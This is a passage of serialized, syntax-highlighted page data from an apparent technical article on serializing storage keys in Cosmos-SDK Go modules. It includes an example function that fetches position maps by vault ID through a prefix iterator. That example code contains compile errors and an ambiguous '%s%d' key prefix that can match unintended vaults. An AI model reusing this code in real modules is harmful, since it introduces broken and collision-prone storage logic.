:27,"value":85974},{"type":21,"tag":198,"props":87896,"children":87897},{"style":211},[87898],{"type":27,"value":658},{"type":21,"tag":198,"props":87900,"children":87901},{"style":698},[87902],{"type":27,"value":86028},{"type":21,"tag":198,"props":87904,"children":87905},{"style":211},[87906],{"type":27,"value":706},{"type":21,"tag":198,"props":87908,"children":87909},{"style":226},[87910],{"type":27,"value":85937},{"type":21,"tag":198,"props":87912,"children":87913},{"style":211},[87914],{"type":27,"value":828},{"type":21,"tag":198,"props":87916,"children":87917},{"style":226},[87918],{"type":27,"value":85853},{"type":21,"tag":198,"props":87920,"children":87921},{"style":211},[87922],{"type":27,"value":789},{"type":21,"tag":198,"props":87924,"children":87925},{"class":200,"line":515},[87926],{"type":21,"tag":198,"props":87927,"children":87928},{"emptyLinePlaceholder":16},[87929],{"type":27,"value":1283},{"type":21,"tag":198,"props":87931,"children":87932},{"class":200,"line":4484},[87933,87937,87941,87945],{"type":21,"tag":198,"props":87934,"children":87935},{"style":226},[87936],{"type":27,"value":86938},{"type":21,"tag":198,"props":87938,"children":87939},{"style":683},[87940],{"type":27,"value":76798},{"type":21,"tag":198,"props":87942,"children":87943},{"style":698},[87944],{"type":27,"value":85946},{"type":21,"tag":198,"props":87946,"children":87947},{"style":211},[87948],{"type":27,"value":4268},{"type":21,"tag":198,"props":87950,"children":87951},{"class":200,"line":4493},[87952,87956,87960],{"type":21,"tag":198,"props":87953,"children":87954},{"style":211},[87955],{"type":27,"value":86837},{"type":21,"tag":198,"props":87957,"children":87958},{"style":1966},[87959],{"type":27,"value":85147},{"type":21,"tag":198,"props":87961,"children":87962},{"style":211},[87963],{"type":27,"value":257},{"type":21,"tag":198,"props":87965,"children":87966},{"class":200,"line":4561},[87967,87971,87975,87979,87983,87987,87991,87995],{"type":21,"tag":198,"props":87968,"children":87969},{"style":226},[87970],{"type":27,"value":86853},{"type":21,"tag":198,"props":87972,"children":87973},{"style":211},[87974],{"type":27,"value":658},{"type":21,"tag":198,"props":87976,"children":87977},{"style":698},[87978],{"type":27,"value":85983},{"type":21,"tag":198,"props":87980,"children":87981},{"style":211},[87982],{"type":27,"value":706},{"type":21,"tag":198,"props":87984,"children":87985},{"style":698},[87986],{"type":27,"value":9950},{"type":21,"tag":198,"props":87988,"children":87989},{"style":211},[87990],{"type":27,"value":706},{"type":21,"tag":198,"props":87992,"children":87993},{"style":226},[87994],{"type":27,"value":86122},{"type":21,"tag":198,"props":87996,"children":87997},{"style":211},[87998],{"type":27,"value":86004},{"type":21,"tag":198,"props":88000,"children":88001},{"class":200,"line":4569},[88002],{"type":21,"tag":198,"props":88003,"children":88004},{"style":211},[88005],{"type":27,"value":24723},{"type":21,"tag":198,"props":88007,"children":88008},{"class":200,"line":4599},[88009,88013,88017,88021,88025,88029,88033,88037],{"type":21,"tag":198,"props":88010,"children":88011},{"style":226},[88012],{"type":27,"value":85974},{"type":21,"tag":198,"props":88014,"children":88015},{"style":211},[88016],{"type":27,"value":658},{"type":21,"tag":198,"props":88018,"children":88019},{"style":698},[88020],{"type":27,"value":86028},{"type":21,"tag":198,"props":88022,"children":88023},{"style":211},[88024],{"type":27,"value":706},{"type":21,"tag":198,"props":88026,"children":88027},{"style":226},[88028],{"type":27,"value":86063},{"type":21,"tag":198,"props":88030,"children":88031},{"style":211},[88032],{"type":27,"value":828},{"type":21,"tag":198,"props":88034,"children":88035},{"style":226},[88036],{"type":27,"value":86122},{"type":21,"tag":198,"props":88038,"children":88039},{"style":211},[88040],{"type":27,"value":789},{"type":21,"tag":198,"props":88042,"children":88043},{"class":200,"line":4607},[88044],{"type":21,"tag":198,"props":88045,"children":88046},{"emptyLinePlaceholder":16},[88047],{"type":27,"value":1283},{"type":21,"tag":198,"props":88049,"children":88050},{"class":200,"line":4638},[88051,88055,88059,88063,88067,88071],{"type":21,"tag":198,"props":88052,"children":88053},{"style":226},[88054],{"type":27,"value":87057},{"type":21,"tag":198,"props":88056,"children":88057},{"style":683},[88058],{"type":27,"value":76798},{"type":21,"tag":198,"props":88060,"children":88061},{"style":226},[88062],{"type":27,"value":82616},{"type":21,"tag":198,"props":88064,"children":88065},{"style":211},[88066],{"type":27,"value":658},{"type":21,"tag":198,"props":88068,"children":88069},{"style":698},[88070],{"type":27,"value":85605},{"type":21,"tag":198,"props":88072,"children":88073},{"style":211},[88074],{"type":27,"value":4268},{"type":21,"tag":198,"props":88076,"children":88077},{"class":200,"line":4646},[88078,88083],{"type":21,"tag":198,"props":88079,"children":88080},{"style":205},[88081],{"type":27,"value":88082}," \"%s%d%s%s%s%s\"",{"type":21,"tag":198,"props":88084,"children":88085},{"style":211},[88086],{"type":27,"value":257},{"type":21,"tag":198,"props":88088,"children":88089},{"class":200,"line":4706},[88090,88095],{"type":21,"tag":198,"props":88091,"children":88092},{"style":226},[88093],{"type":27,"value":88094}," PositionMapPrefix",{"type":21,"tag":198,"props":88096,"children":88097},{"style":211},[88098],{"type":27,"value":257},{"type":21,"tag":198,"props":88100,"children":88101},{"class":200,"line":9857},[88102,88106],{"type":21,"tag":198,"props":88103,"children":88104},{"style":226},[88105],{"type":27,"value":87097},{"type":21,"tag":198,"props":88107,"children":88108},{"style":211},[88109],{"type":27,"value":257},{"type":21,"tag":198,"props":88111,"children":88112},{"class":200,"line":9875},[88113,88117],{"type":21,"tag":198,"props":88114,"children":88115},{"style":226},[88116],{"type":27,"value":87109},{"type":21,"tag":198,"props":88118,"children":88119},{"style":211},[88120],{"type":27,"value":257},{"type":21,"tag":198,"props":88122,"children":88123},{"class":200,"line":9920},[88124,88128],{"type":21,"tag":198,"props":88125,"children":88126},{"style":226},[88127],{"type":27,"value":87121},{"type":21,"tag":198,"props":88129,"children":88130},{"style":211},[88131],{"type":27,"value":257},{"type":21,"tag":198,"props":88133,"children":88134},{"class":200,"line":10026},[88135,88139],{"type":21,"tag":198,"props":88136,"children":88137},{"style":226},[88138],{"type":27,"value":87109},{"type":21,"tag":198,"props":88140,"children":88141},{"style":211},[88142],{"type":27,"value":257},{"type":21,"tag":198,"props":88144,"children":88145},{"class":200,"line":24302},[88146,88150],{"type":21,"tag":198,"props":88147,"children":88148},{"style":226},[88149],{"type":27,"value":87144},{"type":21,"tag":198,"props":88151,"children":88152},{"style":211},[88153],{"type":27,"value":257},{"type":21,"tag":198,"props":88155,"children":88156},{"class":200,"line":24337},[88157],{"type":21,"tag":198,"props":88158,"children":88159},{"style":211},[88160],{"type":27,"value":24723},{"type":21,"tag":198,"props":88162,"children":88163},{"class":200,"line":24345},[88164],{"type":21,"tag":198,"props":88165,"children":88166},{"style":211},[88167],{"type":27,"value":1120},{"type":21,"tag":198,"props":88169,"children":88170},{"class":200,"line":24353},[88171],{"type":21,"tag":198,"props":88172,"children":88173},{"emptyLinePlaceholder":16},[88174],{"type":27,"value":1283},{"type":21,"tag":198,"props":88176,"children":88177},{"class":200,"line":24362},[88178],{"type":21,"tag":198,"props":88179,"children":88180},{"emptyLinePlaceholder":16},[88181],{"type":27,"value":1283},{"type":21,"tag":198,"props":88183,"children":88184},{"class":200,"line":24404},[88185,88189,88193],{"type":21,"tag":198,"props":88186,"children":88187},{"style":249},[88188],{"type":27,"value":76682},{"type":21,"tag":198,"props":88190,"children":88191},{"style":698},[88192],{"type":27,"value":87188},{"type":21,"tag":198,"props":88194,"children":88195},{"style":211},[88196],{"type":27,"value":4268},{"type":21,"tag":198,"props":88198,"children":88199},{"class":200,"line":24437},[88200,88204,88208],{"type":21,"tag":198,"props":88201,"children":88202},{"style":226},[88203],{"type":27,"value":85629},{"type":21,"tag":198,"props":88205,"children":88206},{"style":1966},[88207],{"type":27,"value":76803},{"type":21,"tag":198,"props":88209,"children":88210},{"style":211},[88211],{"type":27,"value":257},{"type":21,"tag":198,"props":88213,"children":88214},{"class":200,"line":24445},[88215,88219,88223,88227,88231,88235],{"type":21,"tag":198,"props":88216,"children":88217},{"style":226},[88218],{"type":27,"value":85641},{"type":21,"tag":198,"props":88220,"children":88221},{"style":211},[88222],{"type":27,"value":828},{"type":21,"tag":198,"props":88224,"children":88225},{"style":226},[88226],{"type":27,"value":87223},{"type":21,"tag":198,"props":88228,"children":88229},{"style":211},[88230],{"type":27,"value":76609},{"type":21,"tag":198,"props":88232,"children":88233},{"style":1966},[88234],{"type":27,"value":85147},{"type":21,"tag":198,"props":88236,"children":88237},{"style":211},[88238],{"type":27,"value":257},{"type":21,"tag":198,"props":88240,"children":88241},{"class":200,"line":24453},[88242,88246,88250,88254,88258],{"type":21,"tag":198,"props":88243,"children":88244},{"style":211},[88245],{"type":27,"value":76764},{"type":21,"tag":198,"props":88247,"children":88248},{"style":226},[88249],{"type":27,"value":72536},{"type":21,"tag":198,"props":88251,"children":88252},{"style":211},[88253],{"type":27,"value":76609},{"type":21,"tag":198,"props":88255,"children":88256},{"style":1966},[88257],{"type":27,"value":85147},{"type":21,"tag":198,"props":88259,"children":88260},{"style":211},[88261],{"type":27,"value":668},{"type":21,"tag":198,"props":88263,"children":88264},{"class":200,"line":24462},[88265,88269,88273,88277],{"type":21,"tag":198,"props":88266,"children":88267},{"style":226},[88268],{"type":27,"value":86243},{"type":21,"tag":198,"props":88270,"children":88271},{"style":683},[88272],{"type":27,"value":76798},{"type":21,"tag":198,"props":88274,"children":88275},{"style":698},[88276],{"type":27,"value":85946},{"type":21,"tag":198,"props":88278,"children":88279},{"style":211},[88280],{"type":27,"value":4268},{"type":21,"tag":198,"props":88282,"children":88283},{"class":200,"line":24538},[88284,88288,88292],{"type":21,"tag":198,"props":88285,"children":88286},{"style":211},[88287],{"type":27,"value":86837},{"type":21,"tag":198,"props":88289,"children":88290},{"style":1966},[88291],{"type":27,"value":85147},{"type":21,"tag":198,"props":88293,"children":88294},{"style":211},[88295],{"type":27,"value":257},{"type":21,"tag":198,"props":88297,"children":88298},{"class":200,"line":24571},[88299,88303,88307,88311,88315,88319,88323,88327],{"type":21,"tag":198,"props":88300,"children":88301},{"style":226},[88302],{"type":27,"value":86853},{"type":21,"tag":198,"props":88304,"children":88305},{"style":211},[88306],{"type":27,"value":658},{"type":21,"tag":198,"props":88308,"children":88309},{"style":698},[88310],{"type":27,"value":85983},{"type":21,"tag":198,"props":88312,"children":88313},{"style":211},[88314],{"type":27,"value":706},{"type":21,"tag":198,"props":88316,"children":88317},{"style":698},[88318],{"type":27,"value":9950},{"type":21,"tag":198,"props":88320,"children":88321},{"style":211},[88322],{"type":27,"value":706},{"type":21,"tag":198,"props":88324,"children":88325},{"style":226},[88326],{"type":27,"value":85853},{"type":21,"tag":198,"props":88328,"children":88329},{"style":211},[88330],{"type":27,"value":86004},{"type":21,"tag":198,"props":88332,"children":88333},{"class":200,"line":24579},[88334],{"type":21,"tag":198,"props":88335,"children":88336},{"style":211},[88337],{"type":27,"value":24723},{"type":21,"tag":198,"props":88339,"children":88340},{"class":200,"line":24587},[88341,88345,88349,88353,88357,88361,88365,88369],{"type":21,"tag":198,"props":88342,"children":88343},{"style":226},[88344],{"type":27,"value":85974},{"type":21,"tag":198,"props":88346,"children":88347},{"style":211},[88348],{"type":27,"value":658},{"type":21,"tag":198,"props":88350,"children":88351},{"style":698},[88352],{"type":27,"value":86028},{"type":21,"tag":198,"props":88354,"children":88355},{"style":211},[88356],{"type":27,"value":706},{"type":21,"tag":198,"props":88358,"children":88359},{"style":226},[88360],{"type":27,"value":85937},{"type":21,"tag":198,"props":88362,"children":88363},{"style":211},[88364],{"type":27,"value":828},{"type":21,"tag":198,"props":88366,"children":88367},{"style":226},[88368],{"type":27,"value":85853},{"type":21,"tag":198,"props":88370,"children":88371},{"style":211},[88372],{"type":27,"value":789},{"type":21,"tag":198,"props":88374,"children":88375},{"class":200,"line":24624},[88376],{"type":21,"tag":198,"props":88377,"children":88378},{"emptyLinePlaceholder":16},[88379],{"type":27,"value":1283},{"type":21,"tag":198,"props":88381,"children":88382},{"class":200,"line":24637},[88383,88387,88391,88395],{"type":21,"tag":198,"props":88384,"children":88385},{"style":226},[88386],{"type":27,"value":87380},{"type":21,"tag":198,"props":88388,"children":88389},{"style":683},[88390],{"type":27,"value":76798},{"type":21,"tag":198,"props":88392,"children":88393},{"style":698},[88394],{"type":27,"value":85946},{"type":21,"tag":198,"props":88396,"children":88397},{"style":211},[88398],{"type":27,"value":4268},{"type":21,"tag":198,"props":88400,"children":88401},{"class":200,"line":24650},[88402,88406,88410],{"type":21,"tag":198,"props":88403,"children":88404},{"style":211},[88405],{"type":27,"value":86837},{"type":21,"tag":198,"props":88407,"children":88408},{"style":1966},[88409],{"type":27,"value":85147},{"type":21,"tag":198,"props":88411,"children":88412},{"style":211},[88413],{"type":27,"value":257},{"type":21,"tag":198,"props":88415,"children":88416},{"class":200,"line":24663},[88417,88421,88425,88429,88433,88437,88441,88445],{"type":21,"tag":198,"props":88418,"children":88419},{"style":226},[88420],{"type":27,"value":86853},{"type":21,"tag":198,"props":88422,"children":88423},{"style":211},[88424],{"type":27,"value":658},{"type":21,"tag":198,"props":88426,"children":88427},{"style":698},[88428],{"type":27,"value":85983},{"type":21,"tag":198,"props":88430,"children":88431},{"style":211},[88432],{"type":27,"value":706},{"type":21,"tag":198,"props":88434,"children":88435},{"style":698},[88436],{"type":27,"value":9950},{"type":21,"tag":198,"props":88438,"children":88439},{"style":211},[88440],{"type":27,"value":706},{"type":21,"tag":198,"props":88442,"children":88443},{"style":226},[88444],{"type":27,"value":87223},{"type":21,"tag":198,"props":88446,"children":88447},{"style":211},[88448],{"type":27,"value":86004},{"type":21,"tag":198,"props":88450,"children":88451},{"class":200,"line":24717},[88452],{"type":21,"tag":198,"props":88453,"children":88454},{"style":211},[88455],{"type":27,"value":24723},{"type":21,"tag":198,"props":88457,"children":88458},{"class":200,"line":24726},[88459,88463,88467,88471,88475,88479,88483,88487],{"type":21,"tag":198,"props":88460,"children":88461},{"style":226},[88462],{"type":27,"value":85974},{"type":21,"tag":198,"props":88464,"children":88465},{"style":211},[88466],{"type":27,"value":658},{"type":21,"tag":198,"props":88468,"children":88469},{"style":698},[88470],{"type":27,"value":86028},{"type":21,"tag":198,"props":88472,"children":88473},{"style":211},[88474],{"type":27,"value":706},{"type":21,"tag":198,"props":88476,"children":88477},{"style":226},[88478],{"type":27,"value":87473},{"type":21,"tag":198,"props":88480,"children":88481},{"style":211},[88482],{"type":27,"value":828},{"type":21,"tag":198,"props":88484,"children":88485},{"style":226},[88486],{"type":27,"value":87223},{"type":21,"tag":198,"props":88488,"children":88489},{"style":211},[88490],{"type":27,"value":789},{"type":21,"tag":198,"props":88492,"children":88493},{"class":200,"line":33067},[88494],{"type":21,"tag":198,"props":88495,"children":88496},{"emptyLinePlaceholder":16},[88497],{"type":27,"value":1283},{"type":21,"tag":198,"props":88499,"children":88500},{"class":200,"line":33088},[88501,88505,88509,88513,88517,88521],{"type":21,"tag":198,"props":88502,"children":88503},{"style":226},[88504],{"type":27,"value":87057},{"type":21,"tag":198,"props":88506,"children":88507},{"style":683},[88508],{"type":27,"value":76798},{"type":21,"tag":198,"props":88510,"children":88511},{"style":226},[88512],{"type":27,"value":82616},{"type":21,"tag":198,"props":88514,"children":88515},{"style":211},[88516],{"type":27,"value":658},{"type":21,"tag":198,"props":88518,"children":88519},{"style":698},[88520],{"type":27,"value":85605},{"type":21,"tag":198,"props":88522,"children":88523},{"style":211},[88524],{"type":27,"value":4268},{"type":21,"tag":198,"props":88526,"children":88527},{"class":200,"line":81333},[88528,88532],{"type":21,"tag":198,"props":88529,"children":88530},{"style":205},[88531],{"type":27,"value":88082},{"type":21,"tag":198,"props":88533,"children":88534},{"style":211},[88535],{"type":27,"value":257},{"type":21,"tag":198,"props":88537,"children":88538},{"class":200,"line":81346},[88539,88544],{"type":21,"tag":198,"props":88540,"children":88541},{"style":226},[88542],{"type":27,"value":88543}," AddressMapPrefix",{"type":21,"tag":198,"props":88545,"children":88546},{"style":211},[88547],{"type":27,"value":257},{"type":21,"tag":198,"props":88549,"children":88550},{"class":200,"line":81354},[88551,88555],{"type":21,"tag":198,"props":88552,"children":88553},{"style":226},[88554],{"type":27,"value":87097},{"type":21,"tag":198,"props":88556,"children":88557},{"style":211},[88558],{"type":27,"value":257},{"type":21,"tag":198,"props":88560,"children":88561},{"class":200,"line":81362},[88562,88566],{"type":21,"tag":198,"props":88563,"children":88564},{"style":226},[88565],{"type":27,"value":87109},{"type":21,"tag":198,"props":88567,"children":88568},{"style":211},[88569],{"type":27,"value":257},{"type":21,"tag":198,"props":88571,"children":88572},{"class":200,"line":81370},[88573,88577],{"type":21,"tag":198,"props":88574,"children":88575},{"style":226},[88576],{"type":27,"value":87121},{"type":21,"tag":198,"props":88578,"children":88579},{"style":211},[88580],{"type":27,"value":257},{"type":21,"tag":198,"props":88582,"children":88583},{"class":200,"line":81410},[88584,88588],{"type":21,"tag":198,"props":88585,"children":88586},{"style":226},[88587],{"type":27,"value":87109},{"type":21,"tag":198,"props":88589,"children":88590},{"style":211},[88591],{"type":27,"value":257},{"type":21,"tag":198,"props":88593,"children":88594},{"class":200,"line":81418},[88595,88599],{"type":21,"tag":198,"props":88596,"children":88597},{"style":226},[88598],{"type":27,"value":87582},{"type":21,"tag":198,"props":88600,"children":88601},{"style":211},[88602],{"type":27,"value":257},{"type":21,"tag":198,"props":88604,"children":88606},{"class":200,"line":88605},60,[88607],{"type":21,"tag":198,"props":88608,"children":88609},{"style":211},[88610],{"type":27,"value":24723},{"type":21,"tag":198,"props":88612,"children":88614},{"class":200,"line":88613},61,[88615],{"type":21,"tag":198,"props":88616,"children":88617},{"style":211},[88618],{"type":27,"value":1120},{"type":21,"tag":30,"props":88620,"children":88621},{},[88622],{"type":27,"value":88623},"We now have a proper example of how to serialize storage keys.",{"type":21,"tag":30,"props":88625,"children":88626},{},[88627,88629,88634],{"type":27,"value":88628},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":21,"tag":194,"props":88630,"children":88632},{"className":88631},[],[88633],{"type":27,"value":67481},{"type":27,"value":88635},", data should still be retrievable through original keys.",{"type":21,"tag":30,"props":88637,"children":88638},{},[88639,88641,88647,88649,88654],{"type":27,"value":88640},"Let's look at a case where we want to retrieve all ",{"type":21,"tag":194,"props":88642,"children":88644},{"className":88643},[],[88645],{"type":27,"value":88646},"map[Username]map[PositionName]Position",{"type":27,"value":88648}," associated with a ",{"type":21,"tag":194,"props":88650,"children":88652},{"className":88651},[],[88653],{"type":27,"value":85517},{"type":27,"value":88655}," from the storage. How can we safely accomplish this?",{"type":21,"tag":30,"props":88657,"children":88658},{},[88659,88661,88666,88668,88674],{"type":27,"value":88660},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":21,"tag":194,"props":88662,"children":88664},{"className":88663},[],[88665],{"type":27,"value":85588},{"type":27,"value":88667}," prefix. Below is an example of an attempt to fetch data with ",{"type":21,"tag":194,"props":88669,"children":88671},{"className":88670},[],[88672],{"type":27,"value":88673},"vaultId",{"type":27,"value":185},{"type":21,"tag":187,"props":88676,"children":88678},{"code":88677,"language":76546,"meta":7,"className":76547,"style":7},"func FetchPositionMapWithVaultId(\n vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n values := map[Username]map[PositionName]Position{}\n i := sdk.KVStorePrefixIterator(\n kvStore,\n fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n )\n for ; i.Valid(); i.Next() {\n k := strings.split(i.Key(), Seperator)\n\n username := make([]byte, hex.DecodedLen(k[0]))\n _, err := hex.Decode(username, k[0])\n if err != nil {\n return nil, err\n }\n\n positionName := make([]byte, hex.DecodedLen(k[1]))\n _, err := hex.Decode(positionName, k[1])\n if err != nil {\n return nil, err\n }\n\n if entry, ok := values[username]; !ok {\n values[username] = make(map[PositionName])\n }\n\n values[username][positionName] = Position {\n data: iterator.Value(),\n }\n }\n return values\n}\n",[88679],{"type":21,"tag":194,"props":88680,"children":88681},{"__ignoreMap":7},[88682,88698,88713,88762,88814,88843,88855,88901,88908,88954,89009,89016,89080,89141,89164,89183,89190,89197,89257,89316,89339,89358,89365,89372,89425,89473,89480,89487,89527,89556,89563,89570,89582],{"type":21,"tag":198,"props":88683,"children":88684},{"class":200,"line":201},[88685,88689,88694],{"type":21,"tag":198,"props":88686,"children":88687},{"style":249},[88688],{"type":27,"value":76682},{"type":21,"tag":198,"props":88690,"children":88691},{"style":698},[88692],{"type":27,"value":88693}," FetchPositionMapWithVaultId",{"type":21,"tag":198,"props":88695,"children":88696},{"style":211},[88697],{"type":27,"value":4268},{"type":21,"tag":198,"props":88699,"children":88700},{"class":200,"line":217},[88701,88705,88709],{"type":21,"tag":198,"props":88702,"children":88703},{"style":226},[88704],{"type":27,"value":85629},{"type":21,"tag":198,"props":88706,"children":88707},{"style":1966},[88708],{"type":27,"value":76803},{"type":21,"tag":198,"props":88710,"children":88711},{"style":211},[88712],{"type":27,"value":257},{"type":21,"tag":198,"props":88714,"children":88715},{"class":200,"line":236},[88716,88721,88725,88729,88733,88737,88741,88745,88749,88753,88758],{"type":21,"tag":198,"props":88717,"children":88718},{"style":211},[88719],{"type":27,"value":88720},") ([]",{"type":21,"tag":198,"props":88722,"children":88723},{"style":249},[88724],{"type":27,"value":67481},{"type":21,"tag":198,"props":88726,"children":88727},{"style":211},[88728],{"type":27,"value":2051},{"type":21,"tag":198,"props":88730,"children":88731},{"style":1966},[88732],{"type":27,"value":85534},{"type":21,"tag":198,"props":88734,"children":88735},{"style":211},[88736],{"type":27,"value":2071},{"type":21,"tag":198,"props":88738,"children":88739},{"style":249},[88740],{"type":27,"value":67481},{"type":21,"tag":198,"props":88742,"children":88743},{"style":211},[88744],{"type":27,"value":2051},{"type":21,"tag":198,"props":88746,"children":88747},{"style":1966},[88748],{"type":27,"value":85551},{"type":21,"tag":198,"props":88750,"children":88751},{"style":211},[88752],{"type":27,"value":2071},{"type":21,"tag":198,"props":88754,"children":88755},{"style":1966},[88756],{"type":27,"value":88757},"Position",{"type":21,"tag":198,"props":88759,"children":88760},{"style":211},[88761],{"type":27,"value":668},{"type":21,"tag":198,"props":88763,"children":88764},{"class":200,"line":260},[88765,88770,88774,88778,88782,88786,88790,88794,88798,88802,88806,88810],{"type":21,"tag":198,"props":88766,"children":88767},{"style":226},[88768],{"type":27,"value":88769}," values",{"type":21,"tag":198,"props":88771,"children":88772},{"style":683},[88773],{"type":27,"value":76798},{"type":21,"tag":198,"props":88775,"children":88776},{"style":249},[88777],{"type":27,"value":2789},{"type":21,"tag":198,"props":88779,"children":88780},{"style":211},[88781],{"type":27,"value":2051},{"type":21,"tag":198,"props":88783,"children":88784},{"style":1966},[88785],{"type":27,"value":85534},{"type":21,"tag":198,"props":88787,"children":88788},{"style":211},[88789],{"type":27,"value":2071},{"type":21,"tag":198,"props":88791,"children":88792},{"style":249},[88793],{"type":27,"value":67481},{"type":21,"tag":198,"props":88795,"children":88796},{"style":211},[88797],{"type":27,"value":2051},{"type":21,"tag":198,"props":88799,"children":88800},{"style":1966},[88801],{"type":27,"value":85551},{"type":21,"tag":198,"props":88803,"children":88804},{"style":211},[88805],{"type":27,"value":2071},{"type":21,"tag":198,"props":88807,"children":88808},{"style":1966},[88809],{"type":27,"value":88757},{"type":21,"tag":198,"props":88811,"children":88812},{"style":211},[88813],{"type":27,"value":78479},{"type":21,"tag":198,"props":88815,"children":88816},{"class":200,"line":281},[88817,88822,88826,88830,88834,88839],{"type":21,"tag":198,"props":88818,"children":88819},{"style":226},[88820],{"type":27,"value":88821}," i",{"type":21,"tag":198,"props":88823,"children":88824},{"style":683},[88825],{"type":27,"value":76798},{"type":21,"tag":198,"props":88827,"children":88828},{"style":226},[88829],{"type":27,"value":79023},{"type":21,"tag":198,"props":88831,"children":88832},{"style":211},[88833],{"type":27,"value":658},{"type":21,"tag":198,"props":88835,"children":88836},{"style":698},[88837],{"type":27,"value":88838},"KVStorePrefixIterator",{"type":21,"tag":198,"props":88840,"children":88841},{"style":211},[88842],{"type":27,"value":4268},{"type":21,"tag":198,"props":88844,"children":88845},{"class":200,"line":302},[88846,88851],{"type":21,"tag":198,"props":88847,"children":88848},{"style":226},[88849],{"type":27,"value":88850}," kvStore",{"type":21,"tag":198,"props":88852,"children":88853},{"style":211},[88854],{"type":27,"value":257},{"type":21,"tag":198,"props":88856,"children":88857},{"class":200,"line":323},[88858,88863,88867,88871,88875,88880,88884,88889,88893,88897],{"type":21,"tag":198,"props":88859,"children":88860},{"style":226},[88861],{"type":27,"value":88862}," fmt",{"type":21,"tag":198,"props":88864,"children":88865},{"style":211},[88866],{"type":27,"value":658},{"type":21,"tag":198,"props":88868,"children":88869},{"style":698},[88870],{"type":27,"value":85605},{"type":21,"tag":198,"props":88872,"children":88873},{"style":211},[88874],{"type":27,"value":706},{"type":21,"tag":198,"props":88876,"children":88877},{"style":205},[88878],{"type":27,"value":88879},"\"%s%d\"",{"type":21,"tag":198,"props":88881,"children":88882},{"style":211},[88883],{"type":27,"value":828},{"type":21,"tag":198,"props":88885,"children":88886},{"style":226},[88887],{"type":27,"value":88888},"PositionMapPrefix",{"type":21,"tag":198,"props":88890,"children":88891},{"style":211},[88892],{"type":27,"value":828},{"type":21,"tag":198,"props":88894,"children":88895},{"style":226},[88896],{"type":27,"value":88673},{"type":21,"tag":198,"props":88898,"children":88899},{"style":211},[88900],{"type":27,"value":789},{"type":21,"tag":198,"props":88902,"children":88903},{"class":200,"line":344},[88904],{"type":21,"tag":198,"props":88905,"children":88906},{"style":211},[88907],{"type":27,"value":24723},{"type":21,"tag":198,"props":88909,"children":88910},{"class":200,"line":365},[88911,88915,88920,88924,88928,88933,88937,88941,88945,88950],{"type":21,"tag":198,"props":88912,"children":88913},{"style":640},[88914],{"type":27,"value":3840},{"type":21,"tag":198,"props":88916,"children":88917},{"style":211},[88918],{"type":27,"value":88919}," ; ",{"type":21,"tag":198,"props":88921,"children":88922},{"style":226},[88923],{"type":27,"value":4544},{"type":21,"tag":198,"props":88925,"children":88926},{"style":211},[88927],{"type":27,"value":658},{"type":21,"tag":198,"props":88929,"children":88930},{"style":698},[88931],{"type":27,"value":88932},"Valid",{"type":21,"tag":198,"props":88934,"children":88935},{"style":211},[88936],{"type":27,"value":29252},{"type":21,"tag":198,"props":88938,"children":88939},{"style":226},[88940],{"type":27,"value":4544},{"type":21,"tag":198,"props":88942,"children":88943},{"style":211},[88944],{"type":27,"value":658},{"type":21,"tag":198,"props":88946,"children":88947},{"style":698},[88948],{"type":27,"value":88949},"Next",{"type":21,"tag":198,"props":88951,"children":88952},{"style":211},[88953],{"type":27,"value":16539},{"type":21,"tag":198,"props":88955,"children":88956},{"class":200,"line":386},[88957,88962,88966,88971,88975,88979,88983,88987,88991,88996,89000,89005],{"type":21,"tag":198,"props":88958,"children":88959},{"style":226},[88960],{"type":27,"value":88961}," k",{"type":21,"tag":198,"props":88963,"children":88964},{"style":683},[88965],{"type":27,"value":76798},{"type":21,"tag":198,"props":88967,"children":88968},{"style":226},[88969],{"type":27,"value":88970}," strings",{"type":21,"tag":198,"props":88972,"children":88973},{"style":211},[88974],{"type":27,"value":658},{"type":21,"tag":198,"props":88976,"children":88977},{"style":698},[88978],{"type":27,"value":70422},{"type":21,"tag":198,"props":88980,"children":88981},{"style":211},[88982],{"type":27,"value":706},{"type":21,"tag":198,"props":88984,"children":88985},{"style":226},[88986],{"type":27,"value":4544},{"type":21,"tag":198,"props":88988,"children":88989},{"style":211},[88990],{"type":27,"value":658},{"type":21,"tag":198,"props":88992,"children":88993},{"style":698},[88994],{"type":27,"value":88995},"Key",{"type":21,"tag":198,"props":88997,"children":88998},{"style":211},[88999],{"type":27,"value":19178},{"type":21,"tag":198,"props":89001,"children":89002},{"style":226},[89003],{"type":27,"value":89004},"Seperator",{"type":21,"tag":198,"props":89006,"children":89007},{"style":211},[89008],{"type":27,"value":789},{"type":21,"tag":198,"props":89010,"children":89011},{"class":200,"line":408},[89012],{"type":21,"tag":198,"props":89013,"children":89014},{"emptyLinePlaceholder":16},[89015],{"type":27,"value":1283},{"type":21,"tag":198,"props":89017,"children":89018},{"class":200,"line":429},[89019,89024,89028,89032,89037,89041,89045,89049,89053,89058,89062,89067,89071,89075],{"type":21,"tag":198,"props":89020,"children":89021},{"style":226},[89022],{"type":27,"value":89023}," username",{"type":21,"tag":198,"props":89025,"children":89026},{"style":683},[89027],{"type":27,"value":76798},{"type":21,"tag":198,"props":89029,"children":89030},{"style":698},[89031],{"type":27,"value":85946},{"type":21,"tag":198,"props":89033,"children":89034},{"style":211},[89035],{"type":27,"value":89036},"([]",{"type":21,"tag":198,"props":89038,"children":89039},{"style":1966},[89040],{"type":27,"value":85147},{"type":21,"tag":198,"props":89042,"children":89043},{"style":211},[89044],{"type":27,"value":828},{"type":21,"tag":198,"props":89046,"children":89047},{"style":226},[89048],{"type":27,"value":86019},{"type":21,"tag":198,"props":89050,"children":89051},{"style":211},[89052],{"type":27,"value":658},{"type":21,"tag":198,"props":89054,"children":89055},{"style":698},[89056],{"type":27,"value":89057},"DecodedLen",{"type":21,"tag":198,"props":89059,"children":89060},{"style":211},[89061],{"type":27,"value":706},{"type":21,"tag":198,"props":89063,"children":89064},{"style":226},[89065],{"type":27,"value":89066},"k",{"type":21,"tag":198,"props":89068,"children":89069},{"style":211},[89070],{"type":27,"value":2051},{"type":21,"tag":198,"props":89072,"children":89073},{"style":2540},[89074],{"type":27,"value":3482},{"type":21,"tag":198,"props":89076,"children":89077},{"style":211},[89078],{"type":27,"value":89079},"]))\n",{"type":21,"tag":198,"props":89081,"children":89082},{"class":200,"line":450},[89083,89087,89091,89095,89099,89104,89108,89113,89117,89121,89125,89129,89133,89137],{"type":21,"tag":198,"props":89084,"children":89085},{"style":226},[89086],{"t